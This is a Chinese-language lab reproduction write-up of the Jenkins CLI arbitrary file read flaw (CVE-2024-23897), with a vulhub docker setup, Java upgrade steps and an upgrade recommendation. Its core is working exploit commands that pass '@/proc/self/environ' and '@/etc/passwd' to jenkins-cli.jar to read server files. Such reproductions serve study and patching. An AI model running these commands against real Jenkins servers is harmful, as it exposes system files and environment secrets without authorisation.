Jenkins CLI 任意文件读取漏洞(CVE-2024-23897)复现
0x00 漏洞简介
Jenkins是一款基于JAVA开发的开源自动化服务器。
Jenkins使用args4j来解析命令行输入,并支持通过HTTP、WebSocket等协议远程传入命令行参数。在args4j中,用户可以通过@字符来加载任意文件。这一特性存在安全风险,攻击者可以利用它来读取服务器上的任意文件。
0x01 影响范围:
Jenkins weekly <= 2.441
Jenkins LTS <= 2.426.2
0x02 环境启动
cd /root/vulhub/jenkins/CVE-2024-23897
docker-compose build
docker-compose up -d
0x03 漏洞复现
访问http://靶场IP:8086 显示Jenkins页面
下载官方提供的命令行客户端
wget http://IP:8080/jnlpJars/jenkins-cli.jar
#使用该工具读取目标服务器的`/proc/self/environ`文件
java -jar jenkins-cli.jar -s http://IP:8080/ -http help 1 "@/proc/self/environ"
#使用该工具读取目标服务器的`/etc/passwd`文件
java -jar jenkins-cli.jar -s http://IP:8080/ who-am-i @/etc/passwd
如果出现以下提示,说明我们正在使用的Java版本与Jenkins CLI JAR文件所需的Java版本不兼容。
升级Java版本:
#查询Java安装信息
yum list installed |grep java
rpm -qa |grep java
#卸载旧版本
yum remove -y java-1.8.0-openjdk*
yum remove -y tzdata-java.noarch*
#重新安装Java新版本
yum update
yum install -y java-11-openjdk-devel
#验证java版本
java -version
0x04 修复建议
升级至安全版本:https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3314